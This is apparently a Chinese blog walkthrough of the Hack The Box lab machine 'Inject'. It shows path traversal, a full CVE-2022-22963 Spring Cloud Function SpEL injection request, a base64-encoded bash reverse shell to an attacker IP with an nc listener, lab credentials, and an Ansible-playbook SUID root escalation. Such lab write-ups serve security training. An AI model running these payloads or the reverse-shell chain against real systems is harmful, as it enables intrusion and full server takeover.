https://app.hackthebox.com/machines/Inject

参考:

Google 搜索:Inject Hack The Box

https://blog.csdn.net/qq_58869808/article/details/129505388

^v^ (cnblogs.com)

HTB-Inject_永远是深夜有多好。的博客-CSDN博客

视频:

https://www.youtube.com/watch?v=SU_hAavi9Oo&pp=ygURaW5qZWN0IGhhY2t0aGVib3g%3D

连接

使用环境 VM ubuntu

1
2
3
sudo openvpn lab_Wreath0690.ovpn

10.10.11.204

侦查

1
2
3
4
# 初始端口扫描
nmap -A 10.10.11.204

# 仅有 22/tcp 和 8080/tcp 两个端口是开放的,其中22/tcp 端口运行的是 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0),8080/tcp 端口运行的是 Nagios NSCA

image-20230518140018204

image-20230518160335503

image-20230518172820733

1
2
touch png.png
# 创建一个文件进行抓包

image-20230518182956086

文件包含

image-20230518215610951

FUZZ 路径,一层一层进行遍历,找到了 pom.xml 文件,发现 java 框架去 Google 搜索 EXP

230518PM10_397

230518PM10_400

230518PM10_399

1
2
3
4
密码:DocPhillovestoInject123
用户:phil

# ssh phil@10.10.11.204,连接不上
1
2
3
4
# 执行命令 curl http://10.10.11.204:8080/show_image?img=pass1.jpg?pass=id 得到了文件的绝对路径
/var/www/WebApp/src/main/uploads/pass1.jpg%3Fpass=id

{"timestamp":"2023-05-19T02:46:22.638+00:00","status":500,"error":"Internal Server Error","message":"URL [file:/var/www/WebApp/src/main/uploads/pass1.jpg%3Fpass=id] cannot be resolved in the file system for checking its content length","path":"/show_image"}root@aloof-virtual-machine:/home/aloof/tools#

image-20230519114328969

反向 shell

通过搜索找到 CVE 编号是「CVE-2022-22963」

CVE-2022-22963 是一个在 Spring Cloud Function 框架中存在的远程代码执行漏洞。它影响了3.1.6、3.2.2及更早的版本

当使用路由功能时,用户可以提供一个特制的 SpEL 作为路由表达式,可能导致远程代码执行和访问本地资源。

Vulhub - Docker-Compose file for vulnerability environment

1
2
3
4
5
6
7
curl http://10.10.11.204:8080/show_image?img=../../../../WebApp/pom.xml

# 返回信息,版本满足要求
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.5</version>
<relativePath/> <!-- lookup parent from repository -->

使用 burp 抓http://10.10.11.204:8080的数据包

1
2
3
4
5
6
7
8
9
10
GET / HTTP/1.1
Host: 10.10.11.204:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


Vulhub 上的

1
2
3
4
5
6
7
8
9
10
11
12
POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4

test

修改后

image-20230518235750338

https://www.revshells.com/

1
2
3
4
5
bash -i >& /dev/tcp/10.10.16.39/9001 0>&1
# 通过 base64 加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zOS85MDAxIDA+JjE=
# 监听端口,获得 shell 权限
nc -nvlp 9001

修改后的请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /functionRouter HTTP/1.1
Host: 10.10.11.204:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zOS85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}")
Content-Type: text/plain
Content-Length: 4

test
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zOS85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}")

# 这段代码是一个 HTTP 请求头的参数,它的名字是 spring.cloud.function.routing-expression,它的值是一个SpEL表达式。SpEL表达式是一种可以执行任意Java代码的语言.

# 这个SpEL表达式的作用是调用java.lang.Runtime类的getRuntime()方法,得到一个Runtime对象,然后调用它的exec()方法,执行一个命令行。这个命令行是我们自己可以控制的地方

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zOS85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}

# 这个命令行的作用是先用 echo 命令输出一串 base64 编码的字符串,然后用 base64 命令解码它,然后用 bash 命令执行它


bash -i >& /dev/tcp/10.10.16.39/9001 0>&1

# 这个命令的作用是启动一个交互式的 bash shell,并且把它的输入和输出重定向到一个TCP连接上,连接的目标地址是 10.10.16.39:9001。这样就相当于在服务器上开启了一个反向 shell,攻击者可以在 10.10.16.39:9001 上监听并控制服务器。

# 所以,这段代码的目的是利用 Spring Cloud Function 框架中存在的 SpEL 注入漏洞,执行任意代码,并在服务器上开启一个反向 shell,从而获取服务器的完全控制权。

image-20230519004632120

image-20230519000104484

1
2
3
4
5
6
7
8
# 连接上之后,通过 whoami 命令发现当前用户是 frank,切换到 phil 用户

密码:DocPhillovestoInject123
用户:phil

su phil

# 在 /home/phil 目录下发现 user.txt 文件,用 cat 读取文件

image-20230519000814707

提权

使用 sudo -l 发现没有提权的命令

ansible playbook代码来执行shell命令。

Ansible playbook 是一种用来在远程主机上执行一系列任务的文件,它使用YAML语法1。使用Ansible playbook来执行shell命令

1
2
3
4
- hosts: localhost
tasks:
- name: getroot
command: sudo chmod u+s /bin/bash

Playbook 用于将 /bin/bash 文件设置为 SUID 权限,以实现以 root 用户权限执行 Bash shell 的目的

230519AM12_403

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ifconfig

# 用sudo权限运行python3的http.server模块1,它可以在本地主机上启动一个简单的HTTP服务器,用来共享文件和目录。
sudo python3 -m http.server

# 用wget命令从10.10.16.39:8000这个地址下载playbook_2.yml文件,这个地址是上面的HTTP服务器提供的。
wget 10.10.16.39:8000/playbook_2.yml

bash -p

id


whoami

cd /root

ls

cat root.txt

230519AM12_404

230519AM12_405


© Rabbit 使用 Stellar 创建

✨ 营业:

共发表 56 篇Blog 🔸 总计 123.6k